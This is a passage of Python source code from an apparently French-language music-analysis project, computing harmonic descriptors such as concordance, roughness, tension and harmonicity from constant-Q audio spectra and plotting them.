self.concordanceTot[self.n_frames-1]=0 def Concordance3(self): self.chrom_concordance3 = np.zeros((self.n_bins,self.n_frames)) for k in range(self.n_pistes-2): for l in range(k+1, self.n_pistes-1): for m in range(l+1, self.n_pistes): self.chrom_concordance3 += np.multiply(np.multiply(self.chromPistesSync[k], self.chromPistesSync[l]), self.chromPistesSync[m]) # Normalisation par la norme 3 et le nombre de notes for t in range(self.n_frames): if self.n_notes[t] >= 3: self.chrom_concordance3[:,t] *= (self.n_notes[t]**(3*params.norm_conc3)/(self.n_notes[t]*(self.n_notes[t]-1)*(self.n_notes[t]-2)/6)) / LA.norm(self.chromSync[:,t],ord=3)**(3*params.norm_conc3) self.chrom_concordance3[:,0] = 0 self.chrom_concordance3[:,self.n_frames-1] = 0 self.concordance3 = self.chrom_concordance3.sum(axis=0) # self.concordance3[0]=0 # self.concordance3[self.n_frames-1]=0 def Roughness(self): #fonction qui convertit les amplitudes en sonies # def Sones(Ampl): # P = Ampl/np.sqrt(2) # SPL = 20*np.log10(P/params.P_ref) # return ((1/16)*np.power(2,SPL/10)) self.chrom_roughness = np.zeros((self.n_bins,self.n_frames)) self.roughness = np.zeros(self.n_frames) for b1 in range(self.n_bins-1): for b2 in range(b1+1,self.n_bins): # Modèle de Sethares f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) if not params.type_rug_signal: for p1 in range(self.n_pistes-1): for p2 in range(p1+1, self.n_pistes): if params.rug_simpl: self.chrom_roughness[b1] += (self.chromPistesSyncSimpl[p1][b1] * self.chromPistesSyncSimpl[p2][b2] + self.chromPistesSyncSimpl[p1][b2] * self.chromPistesSyncSimpl[p2][b1]) * rug/2 self.chrom_roughness[b2] += (self.chromPistesSyncSimpl[p1][b1] * self.chromPistesSyncSimpl[p2][b2] + self.chromPistesSyncSimpl[p1][b2] * self.chromPistesSyncSimpl[p2][b1]) * rug/2 else: self.chrom_roughness[b1] += (self.chromPistesSync[p1][b1] * self.chromPistesSync[p2][b2] + self.chromPistesSync[p1][b2] * self.chromPistesSync[p2][b1]) * rug/2 self.chrom_roughness[b2] += (self.chromPistesSync[p1][b1] * self.chromPistesSync[p2][b2] + self.chromPistesSync[p1][b2] * self.chromPistesSync[p2][b1]) * rug/2 else: if params.rug_simpl: self.chrom_roughness[b1] += (self.chromSyncSimpl[b1] * self.chromSyncSimpl[b2]) * rug/2 self.chrom_roughness[b2] += (self.chromSyncSimpl[b1] * self.chromSyncSimpl[b2]) * rug/2 else: self.chrom_roughness[b1] += (self.chromSync[b1] * self.chromSync[b2]) * rug/2 self.chrom_roughness[b2] += (self.chromSync[b1] * self.chromSync[b2]) * rug/2 # Normalisation par l'énergie et par le nombre de n_notes for t in range(self.n_frames): if not params.type_rug_signal: if self.n_notes[t] >= 2: self.chrom_roughness[:,t] *= (self.n_notes[t]**(2*params.norm_rug) / (self.n_notes[t]*(self.n_notes[t]-1)/2.0)) / (self.energy[t]**params.norm_rug) else: self.chrom_roughness[:,t] /= self.energy[t]**params.norm_rug self.chrom_roughness[:,0] = 0 self.roughness = self.chrom_roughness.sum(axis=0) self.roughness[0]=0 self.roughness[self.n_frames-1]=0 def RoughnessSignal(self): self.roughnessSignal = np.zeros(self.n_frames) for b1 in range(self.n_bins-1): for b2 in range(b1+1,self.n_bins): # Modèle de Sethares f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() s = 0.44*(np.log(params.β2/params.β1)/(params.β2-params.β1))*(freq[1]-freq[0])/(freq[0]**(0.477)) rug = np.exp(-params.β1*s)-np.exp(-params.β2*s) self.roughnessSignal = self.roughnessSignal + (self.chromSync[b1,:] * self.chromSync[b2,:]) * rug if params.norm_rug: self.roughnessSignal = np.divide(self.roughnessSignal, np.power(self.energy,1.0)) self.roughnessSignal[0]=0 self.roughnessSignal[self.n_frames-1]=0 def Tension(self): self.tension = np.zeros(self.n_frames) for t in range(self.n_frames): self.liste_partials[t].sort() long = len(self.liste_partials[t]) for i1 in range(long-2) : for i2 in range(i1+1,long-1): for i3 in range(i2+1,long): int1, int2 = self.liste_partials[t][i2] - self.liste_partials[t][i1], self.liste_partials[t][i3] - self.liste_partials[t][i2] tens = np.exp(-((int2-int1) / (0.6*BINS_PER_OCTAVE/12.0))**2) self.tension[t] += self.chromSyncSimpl[self.liste_partials[t][i1],t] * self.chromSyncSimpl[self.liste_partials[t][i2],t] * self.chromSyncSimpl[self.liste_partials[t][i3],t] * tens # Normalisation par l'énergie et par le nombre de n_notes for t in range(self.n_frames): self.tension[t] /= self.energy[t]**(params.norm_tension*3/2.0) self.tension[0]=0 self.tension[self.n_frames-1]=0 # # self.tension = np.zeros(self.n_frames) # # liste des partiels # set_partials = set() # for t in range(self.n_frames): # set_partials = set_partials.union(set(self.liste_partials[t])) # liste_partials_full = list(set_partials) # liste_partials_full.sort() # # # # Calcul de la tension # long = len(liste_partials_full) # for i1 in range(long-2) : # for i2 in range(i1+1,long-1): # for i3 in range(i2+1,long): # int1, int2 = liste_partials_full[i2] - liste_partials_full[i1], liste_partials_full[i3] - liste_partials_full[i2] # tens = np.exp(-((int2-int1) / (0.6*BINS_PER_OCTAVE/12.0))**2) # for t in range(self.n_frames): # self.tension[t] += self.chromSyncSimpl[liste_partials_full[i1],t] * self.chromSyncSimpl[liste_partials_full[i2],t] * self.chromSyncSimpl[liste_partials_full[i3],t] * tens # # # Normalisation par l'énergie et par le nombre de n_notes # for t in range(self.n_frames): # self.tension[t] /= self.energy[t]**(params.norm_tension*3/2.0) # # if self.n_notes[t] >= 3: # # self.tension[t] *= (self.n_notes[t]**(3*params.norm_tension) / (self.n_notes[t]*(self.n_notes[t]-1)*(self.n_notes[t]-2)/6.0)) / (self.energy[t]**(params.norm_tension*3/2.0)) # # self.tension[0]=0 # self.tension[self.n_frames-1]=0 def TensionSignal(self): # Calcul des spectres des pistes en 1/4 de tons pour avoir un calcul de la tensionSignal en temps raisonnable self.ChromSync_ONSETS = np.zeros((self.n_bins_ONSETS,self.n_frames)) for j in range(self.n_frames): for i in range(self.n_bins_ONSETS): self.ChromSync_ONSETS[i,j] = np.median(self.Chrom_ONSETS[i][(self.onset_frames[j]+self.n_att):(self.onset_frames[j+1]-self.n_att)]) #Calcul tensionSignal self.tensionSignal = np.zeros(self.n_frames) for b1 in range(self.n_bins_ONSETS-2): for b2 in range(b1+1, self.n_bins_ONSETS-1): for b3 in range(b2+2, self.n_bins_ONSETS): int = [abs(b3-b1), abs(b2-b1), abs(b3-b2)] int.sort() monInt = int[1]-int[0] tens = np.exp(-((int[1]-int[0])* BINS_PER_OCTAVE/(12*params.δ))**2) self.tensionSignal = self.tensionSignal + (self.ChromSync_ONSETS[b1,:] * self.ChromSync_ONSETS[b2,:] * self.ChromSync_ONSETS[b3,:]) * tens self.tensionSignal = np.divide(self.tensionSignal, np.power(self.energy, 3/2)) self.tensionSignal[0]=0 self.tensionSignal[self.n_frames-1]=0 def CrossConcordance(self): if len(self.concordance) == 0: self.Concordance() self.chrom_crossConcordance = np.zeros((self.n_bins,self.n_frames-1)) for t in range(self.n_frames-1): self.chrom_crossConcordance[:,t] = np.multiply(self.chrom_concordance[:,t],self.chrom_concordance[:,t+1]) if params.norm_crossConc: if self.concordance[t]*self.concordance[t+1]!=0: self.chrom_crossConcordance[:,t] = np.divide(self.chrom_crossConcordance[:,t], self.concordance[t]*self.concordance[t+1]) self.crossConcordance = self.chrom_crossConcordance.sum(axis=0) self.crossConcordance[0]=0 self.crossConcordance[self.n_frames-2]=0 def CrossConcordanceTot(self): if len(self.concordanceTot) == 0: self.ConcordanceTot() self.chrom_crossConcordanceTot = np.zeros((self.n_bins,self.n_frames-1)) for t in range(self.n_frames-1): self.chrom_crossConcordanceTot[:,t] = np.multiply(self.chrom_concordanceTot[:,t],self.chrom_concordanceTot[:,t+1]) if params.norm_crossConcTot: if self.concordanceTot[t]*self.concordanceTot[t+1]!=0: self.chrom_crossConcordanceTot[:,t] = np.divide(self.chrom_crossConcordanceTot[:,t], self.concordanceTot[t]*self.concordanceTot[t+1]) self.crossConcordanceTot = self.chrom_crossConcordanceTot.sum(axis=0) self.crossConcordanceTot[0]=0 self.crossConcordanceTot[self.n_frames-2]=0 def HarmonicChange(self): self.chrom_harmonicChange = np.zeros((self.n_bins,self.n_frames-1)) for t in range(self.n_frames-1): # Par défaut, params.type_harmChange == 'relative' if params.norm_harmChange == 'None': self.chrom_harmonicChange[:,t] = self.chromSync[:,t+1] - self.context[:,t] elif params.norm_harmChange == 'frame_by_frame': self.chrom_harmonicChange[:,t] = self.chromSync[:,t+1]/np.sqrt(self.energy[t+1]) - self.context[:,t]/np.sqrt(self.energyContext[t]) elif params.norm_harmChange == 'general': self.chrom_harmonicChange[:,t] = (self.chromSync[:,t+1] - self.context[:,t]) / (self.energy[t+1]*self.energyContext[t])**(1.0/4) if params.type_harmChange == 'absolute': self.chrom_harmonicChange[:,t] = np.abs(self.chrom_harmonicChange[:,t]) self.harmonicChange = np.sum(np.power(self.chrom_harmonicChange,1), axis=0) self.harmonicChange[0]=0 self.harmonicChange[-1]=0 def HarmonicNovelty(self): if len(self.context) == 0: self.context() # Construction du spectre des Nouveautés harmoniques self.chrom_harmonicNovelty = np.zeros((self.n_bins,self.n_frames)) self.chrom_harmonicNovelty[:,1] = self.chromSync[:,1] for t in range(2,self.n_frames): if params.norm_Novelty == 'frame_by_frame': self.chrom_harmonicNovelty[:,t] = self.chromSync[:,t]/np.sqrt(self.energy[t]) - self.context[:,t-1]/np.sqrt(self.energyContext[t-1]) elif params.norm_Novelty == 'general': self.chrom_harmonicNovelty[:,t] = np.divide(self.chromSync[:,t] - self.context[:,t-1], (self.energy[t]*self.energyContext[t-1])**(1/4)) elif params.norm_Novelty == 'None': self.chrom_harmonicNovelty[:,t] = self.chromSync[:,t] - self.context[:,t-1] for i in range(self.n_bins): if self.chrom_harmonicNovelty[:,t][i]<0: self.chrom_harmonicNovelty[:,t][i] = 0 # Construction des Nouveautés harmoniques self.harmonicNovelty = np.exp(self.chrom_harmonicNovelty.sum(axis=0)) if params.type_Novelty == 'dyn': self.harmonicNovelty = self.harmonicNovelty[1:] self.harmonicNovelty[0]=0 self.harmonicNovelty[-1]=0 def DiffConcordance(self): self.chrom_diffConcordance = np.zeros((self.n_bins,self.n_frames-1)) if not params.theme_diffConc: for t in range(self.n_frames-1): self.chrom_diffConcordance[:,t] = np.multiply(self.chromSync[:,t], self.chromSync[:,t+1]) self.chrom_diffConcordance[:,t] /= np.sqrt(self.energy[t] * self.energy[t+1]) ** params.norm_diffConc else : for t in range(self.n_frames-1): if self.activation[0,t+1]: self.chrom_diffConcordance[:,t] = np.multiply(self.chromSync[:,t], self.chromPistesSync[0][:,t+1]) / np.sqrt(self.energy[t] * self.energyPistes[0][t+1])** params.norm_diffConc self.diffConcordance = self.chrom_diffConcordance.sum(axis=0) self.diffConcordance[0]=0 self.diffConcordance[self.n_frames-2]=0 def Harmonicity(self): # Construction du spectre harmonique dec = BINS_PER_OCTAVE/6 # décalage d'un ton pour tenir compte de l'épaisseur des gaussiennes epaiss = int(np.rint(BINS_PER_OCTAVE/(2*params.σ))) print(epaiss) SpecHarm = np.zeros(2*int(dec) + int(np.rint(BINS_PER_OCTAVE * np.log2(params.κ)))) for k in range(params.κ): pic = int(dec + np.rint(BINS_PER_OCTAVE * np.log2(k+1))) for i in range(-epaiss, epaiss+1): SpecHarm[pic + i] = 1/(k+1)**params.decr len_corr = self.n_bins + len(SpecHarm) - 1 # Correlation avec le spectre réel self.chrom_harmonicity = np.zeros((len_corr,self.n_frames)) self.harmonicity = [] for t in range(self.n_frames): self.chrom_harmonicity[:,t] = np.correlate(np.power(self.chromSync[:,t],params.norm_harmonicity), SpecHarm,"full") / self.energy[t]**(params.norm_harmonicity * params.norm_harm/2) self.harmonicity.append(np.exp(max(self.chrom_harmonicity[:,t]))) # Virtual Pitch self.virtualPitch.append(np.argmax(self.chrom_harmonicity[:,t])) virtualNotes = librosa.hz_to_note([self.fmin * (2**((i-len(SpecHarm)+dec+1)/BINS_PER_OCTAVE)) for i in self.virtualPitch] , cents = False) global f_corr_min f_corr_min = self.fmin * (2**((-len(SpecHarm)+dec+1)/BINS_PER_OCTAVE)) print(virtualNotes[1:self.n_frames-1]) self.chrom_harmonicity[:,0] = 0 self.chrom_harmonicity[:,self.n_frames-1] = 0 self.harmonicity[0]=0 self.harmonicity[self.n_frames-1]=0 def HarmonicityContext(self): # Construction du spectre harmonique dec = BINS_PER_OCTAVE/6 # décalage d'un ton pour tenir compte de l'épaisseur des gaussiennes epaiss = int(np.rint(BINS_PER_OCTAVE/(2*params.σ))) SpecHarm = np.zeros(2*int(dec) + int(np.rint(BINS_PER_OCTAVE * np.log2(params.κ)))) for k in range(params.κ): pic = int(dec + np.rint(BINS_PER_OCTAVE * np.log2(k+1))) for i in range(-epaiss, epaiss+1): SpecHarm[pic + i] = 1/(k+1)**params.decr # Correlation avec le spectre réel self.harmonicityContext = [] for t in range(self.n_frames): self.harmonicityContext.append(max(np.correlate(np.power(self.context[:,t],params.norm_harmonicity), SpecHarm,"full")) / LA.norm(self.context[:,t], ord = params.norm_harmonicity)**(params.norm_harmonicity)) # Virtual Pitch self.virtualPitchContext.append(np.argmax(np.correlate(np.power(self.context[:,t],params.norm_harmonicity), SpecHarm,"full"))) diffVirtualNotes = librosa.hz_to_note([self.fmin * (2**((i-len(SpecHarm)+dec+1)/BINS_PER_OCTAVE)) for i in self.virtualPitchContext] , cents = False) print(diffVirtualNotes[1:self.n_frames-1]) def RoughnessContext(self): self.chrom_roughnessContext = np.zeros((self.n_bins,self.n_frames)) for b1 in range(self.n_bins-1): for b2 in range(b1+1,self.n_bins): f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) for t in range(self.n_frames): self.chrom_roughnessContext[b1,t] += (self.context[b1,t] * self.context[b2,t]) * rug / 2 self.chrom_roughnessContext[b2,t] += (self.context[b1,t] * self.context[b2,t]) * rug / 2 if params.norm_rugCtx: for t in range(self.n_frames-1): self.chrom_roughnessContext[:,t] = np.divide(self.chrom_roughnessContext[:,t], self.energyContext[t]) self.roughnessContext = self.chrom_roughnessContext.sum(axis=0) def DiffConcordanceContext(self): self.chrom_diffConcordanceContext = np.zeros((self.n_bins,self.n_frames-1)) if not params.theme_diffConcCtx: for t in range(self.n_frames-1): self.chrom_diffConcordanceContext[:,t] = np.multiply(self.context[:,t], self.chromSync[:,t+1]) if params.norm_diffConcCtx: self.chrom_diffConcordanceContext[:,t] /= np.sqrt(self.energyContext[t] * self.energy[t+1]) else: for t in range(self.n_frames-1): self.chrom_diffConcordanceContext[:,t] = np.multiply(self.context[:,t], self.chromPistesSync[0][:,t+1]) if params.norm_diffConcCtx: self.chrom_diffConcordanceContext[:,t] /= np.sqrt(self.energyContext[t] * self.energyPistes[0][t+1]) self.diffConcordanceContext = self.chrom_diffConcordanceContext.sum(axis=0) self.diffConcordanceContext[0]=0 self.diffConcordanceContext[self.n_frames-2]=0 def DiffRoughness(self): self.chrom_diffRoughness = np.zeros((self.n_bins,self.n_frames-1)) if params.theme_diffRug: for b1 in range(self.n_bins): for b2 in range(self.n_bins): f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) for t in range(self.n_frames-1): if params.rug_simpl: self.chrom_diffRoughness[b1,t] += (self.chromSyncSimpl[b1,t] * self.chromPistesSyncSimpl[0][b2,t+1]) * rug / 2 self.chrom_diffRoughness[b2,t] += (self.chromSyncSimpl[b1,t] * self.chromPistesSyncSimpl[0][b2,t+1]) * rug / 2 else: self.chrom_diffRoughness[b1,t] += (self.chromSync[b1,t] * self.chromPistesSync[0][b2,t+1]) * rug / 2 self.chrom_diffRoughness[b2,t] += (self.chromSync[b1,t] * self.chromPistesSync[0][b2,t+1]) * rug / 2 else: for b1 in range(self.n_bins): for b2 in range(self.n_bins): f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) for t in range(self.n_frames-1): if params.rug_simpl: self.chrom_diffRoughness[b1,t] += (self.chromSyncSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 self.chrom_diffRoughness[b2,t] += (self.chromSyncSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 else: self.chrom_diffRoughness[b1,t] += (self.chromSync[b1,t] * self.chromSync[b2,t+1]) * rug / 2 self.chrom_diffRoughness[b2,t] += (self.chromSync[b1,t] * self.chromSync[b2,t+1]) * rug / 2 if params.norm_diffRug: if params.theme_diffRug: for t in range(self.n_frames-1): self.chrom_diffRoughness[:,t] = np.divide(self.chrom_diffRoughness[:,t], np.sqrt(self.energy[t]*self.energyPistes[0][t+1])) else: for t in range(self.n_frames-1): self.chrom_diffRoughness[:,t] = np.divide(self.chrom_diffRoughness[:,t], np.sqrt(self.energy[t]*self.energy[t+1])) self.diffRoughness = self.chrom_diffRoughness.sum(axis=0) self.diffRoughness[0]=0 self.diffRoughness[self.n_frames-2]=0 def DiffRoughnessContext(self): self.chrom_diffRoughnessContext = np.zeros((self.n_bins,self.n_frames-1)) if params.theme_diffRugCtx: for b1 in range(self.n_bins): for b2 in range(self.n_bins): f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) for t in range(self.n_frames-1): if params.rug_simpl: self.chrom_diffRoughnessContext[b1,t] += (self.contextSimpl[b1,t] * self.chromPistesSyncSimpl[0][b2,t+1]) * rug / 2 self.chrom_diffRoughnessContext[b2,t] += (self.contextSimpl[b1,t] * self.chromPistesSyncSimpl[0][b2,t+1]) * rug / 2 else: self.chrom_diffRoughnessContext[b1,t] += (self.context[b1,t] * self.chromPistesSync[0][b2,t+1]) * rug / 2 self.chrom_diffRoughnessContext[b2,t] += (self.context[b1,t] * self.chromPistesSync[0][b2,t+1]) * rug / 2 else: for b1 in range(self.n_bins): for b2 in range(self.n_bins): f1 = self.fmin*2**(b1/BINS_PER_OCTAVE) f2 = self.fmin*2**(b2/BINS_PER_OCTAVE) freq = [f1, f2] freq.sort() if params.mod_rough == 'sethares + KK': s = (1/2.27)*(np.log(params.β2/params.β1)/(params.β2-params.β1))/(freq[0]**(0.477)) elif params.mod_rough == 'sethares': s = 0.24/(0.021*freq[0] + 19) rug = np.exp(-params.β1*s*(freq[1]-freq[0]))-np.exp(-params.β2*s*(freq[1]-freq[0])) for t in range(self.n_frames-1): if params.rug_simpl: # self.chrom_diffRoughnessContext[b1,t] += (self.contextSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 # self.chrom_diffRoughnessContext[b2,t] += (self.contextSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 self.chrom_diffRoughnessContext[b1,t] += (self.contextSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 self.chrom_diffRoughnessContext[b2,t] += (self.contextSimpl[b1,t] * self.chromSyncSimpl[b2,t+1]) * rug / 2 else: self.chrom_diffRoughnessContext[b1,t] += (self.context[b1,t] * self.chromSync[b2,t+1]) * rug / 2 self.chrom_diffRoughnessContext[b2,t] += (self.context[b1,t] * self.chromSync[b2,t+1]) * rug / 2 if params.norm_diffRugCtx: if params.theme_diffRugCtx: for t in range(self.n_frames-1): self.chrom_diffRoughnessContext[:,t] = np.divide(self.chrom_diffRoughnessContext[:,t], np.sqrt(self.energyContext[t]*self.energyPistes[0][t+1])) else: for t in range(self.n_frames-1): self.chrom_diffRoughnessContext[:,t] = np.divide(self.chrom_diffRoughnessContext[:,t], np.sqrt(self.energyContext[t]*self.energy[t+1])) self.diffRoughnessContext = self.chrom_diffRoughnessContext.sum(axis=0) self.diffRoughnessContext[0]=0 self.diffRoughnessContext[self.n_frames-2]=0 def ComputeDescripteurs(self, space = ['concordance','concordanceTot']): """Calcule les descripteurs indiqués dans 'space', puis les affiche""" dim = len(space) if 'concordance' in space: self.Concordance() if 'concordanceTot' in space: self.ConcordanceTot() if 'concordance3' in space: self.Concordance3() if 'tension' in space: self.Tension() if 'roughness' in space: self.Roughness() if 'tensionSignal' in space: self.TensionSignal() if 'roughnessSignal' in space: self.RoughnessSignal() if 'harmonicity' in space: self.Harmonicity() if 'crossConcordance' in space: self.CrossConcordance() if 'crossConcordanceTot' in space: self.CrossConcordanceTot() if 'harmonicChange' in space: self.HarmonicChange() if 'diffConcordance' in space: self.DiffConcordance() if 'diffRoughness' in space: self.DiffRoughness() if 'harmonicNovelty' in space: self.HarmonicNovelty() if 'harmonicityContext' in space: self.HarmonicityContext() if 'roughnessContext' in space: self.RoughnessContext() if 'diffConcordanceContext' in space: self.DiffConcordanceContext() if 'diffRoughnessContext' in space: self.DiffRoughnessContext() #Plot des représentations symboliques if params.plot_symb: if params.play: # Supprimer le fichier stereo_file.wav s'il existe if os.path.exists("stereo_file.wav"): os.remove("stereo_file.wav") # Écrire un fichier wav à partir de y et sr sf.write('stereo_file.wav', self.y, self.sr) a = AudioFile("stereo_file.wav") if (dim==2): fig, ax = plt.subplots() xdata, ydata = [], [] xdescr, ydescr = getattr(self, space[0]), getattr(self, space[1]) ln, = plt.plot([], [], 'r'+'--'+'o') def init(): # ax.set_xlim(min(xdescr[1:self.n_frames-1]), max(xdescr[1:self.n_frames-1])*6/5) # ax.set_ylim(min(ydescr[1:self.n_frames-1]), max(ydescr[1:self.n_frames-1])*6/5) ax.set_xlim(-0.03, 0.26) ax.set_ylim(0.90, 0.99) if params.play : a.play() return ln, def update(time): if (self.onset_times[0] <= time < self.onset_times[1]): pass elif (self.onset_times[self.n_frames-1] <= time <= self.onset_times[self.n_frames]): pass else: i = 1 found = False while (not found): if (self.onset_times[i] <= time <= self.onset_times[i+1]): xdata.append(xdescr[i]) ydata.append(ydescr[i]) ln.set_data(xdata, ydata) found = True else: i=i+1 #ax.annotate(frame+1, (xdescr[frame], ydescr[frame])) return ln, #a.play() #a.close() ani = FuncAnimation(fig, update, frames=self.times, init_func=init, blit=True, interval=1000*STEP/self.sr, repeat=False) # a.close() #ani = FuncAnimation(fig, update, frames=self.times, init_func=init, blit=True, interval=23 , repeat=False) plt.xlabel(space[0]) plt.ylabel(space[1]) plt.show() def Affichage(self, space = ['concordance', 'concordanceTot'], begin = "first", end = "last", delete = []): #Plot de la recherche d'ONSETS # if title in params.dic_xcoords: self.onset_times_graph = np.array(params.dic_xcoords[title]) if subTitle in params.dic_xcoords: self.onset_times_graph = np.array(params.dic_xcoords[subTitle]) else: self.onset_times_graph = self.onset_times # Suppression des accords inutiles if len(delete) != 0: self.roughness = np.delete(self.roughness, delete, 0) self.chrom_roughness = np.delete(self.chrom_roughness, delete, 1) self.chromSyncDB = np.delete(self.chromSyncDB, delete, 1) self.n_frames = self.n_frames - len(delete) if params.plot_onsets: # fig, ax = plt.subplots(figsize=(13, 7)) # # Partition # if params.plot_score & (len(self.score)!=0): # img=mpimg.imread(self.score) # score = plt.subplot(2,1,1) # plt.axis('off') # score.imshow(img) # p = 1 # else: p=0 # # ax = plt.subplot(p+1,1,p+1) # # img = librosa.display.specshow(self.chromSyncDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) # # img = librosa.display.specshow(librosa.amplitude_to_db(self.Chrom, ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) # # plt.title('Synchronised spectrum, β = {}, delay τ = {} s'.format(params.margin, T_att)) # plt.title('Synchronised spectrum'.format(params.margin)) # for t in self.onset_times_graph: # ax.axvline(t, color = 'k',alpha=0.5, ls='--') # plt.axis('tight') # ax.get_xaxis().set_visible(False) # plt.tight_layout() plt.figure(1,figsize=(13, 7)) ax1 = plt.subplot(3, 1, 1) librosa.display.specshow(self.ChromDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.times,cmap=cmap) plt.title('CQT spectrogram') plt.subplot(3, 1, 2, sharex=ax1) if not self.Onset_given: plt.plot(self.times, self.Dev, label='Deviation') plt.plot(self.times, self.Seuil, color='g', label='Seuil') plt.vlines(self.times[self.onset_frames[1:len(self.onset_frames)-1]], 0, self.Dev.max(), color='r', alpha=0.9, linestyle='--', label='Onsets') else: plt.vlines(self.times[self.onset_frames], 0, 1, color='r', alpha=0.9, linestyle='--', label='Onsets') plt.axis('tight') plt.legend(frameon=True, framealpha=0.75) plt.subplot(3, 1, 3, sharex=ax1) librosa.display.specshow(self.chromSyncDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) plt.tight_layout() #Plot de la décomposition en partie harmonique / partie percussive if params.plot_decompo_hpss & params.decompo_hpss: plt.figure(2,figsize=(13, 7)) plt.subplot(3, 1, 1) librosa.display.specshow(librosa.amplitude_to_db(self.ChromNoHpss,ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',cmap=cmap) plt.title('Full cqt transform') plt.subplot(3, 1, 2) librosa.display.specshow(librosa.amplitude_to_db(self.Chrom,ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',cmap=cmap) plt.title('Harmonic part') plt.subplot(3, 1, 3) librosa.display.specshow(librosa.amplitude_to_db(self.ChromNoHpss - self.Chrom,ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',cmap=cmap) plt.title('Percussive part') plt.tight_layout() #Plot des pistes if params.plot_pistes: plt.figure(3,figsize=(13, 7.5)) ax1 = plt.subplot(self.n_pistes,1,1) librosa.display.specshow(librosa.amplitude_to_db(self.chromPistesSyncSimpl[0], ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph,cmap=cmap) for k in range(1, self.n_pistes): plt.subplot(self.n_pistes, 1, k+1, sharex=ax1) librosa.display.specshow(librosa.amplitude_to_db(self.chromPistesSyncSimpl[k], ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph,cmap=cmap) plt.tight_layout() #Plot du contexte if params.plot_context: if len(self.context) == 0: self.context() if len(self.chrom_harmonicNovelty) == 0: self.HarmonicNovelty() plt.figure(8,figsize=(13, 7)) plt.subplot(3, 1, 1) librosa.display.specshow(self.chromSyncDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) plt.title('Synchronised cqt spectrum') plt.subplot(3, 1, 2) librosa.display.specshow(librosa.amplitude_to_db(self.context,ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph,cmap=cmap) if isinstance(params.memory_size, str): title1 = 'Harmonic Context, cumulative memory' else : title1 = 'Harmonic Context, memory of {} chords'.format(int(params.memory_size)) plt.title(title1) plt.subplot(3, 1, 3) librosa.display.specshow(librosa.amplitude_to_db(self.chrom_harmonicNovelty,ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph,cmap=cmap) if isinstance(params.memory_size, str): title2 = 'Harmonic Novelties, cumulative memory' else : title2 = 'Harmonic Novelties, memory of {} chords'.format(int(params.memory_size)) plt.title(title2) plt.tight_layout() #Plot des spectres simplifiés if params.plot_simple: # plt.figure(4,figsize=(13, 7.5)) 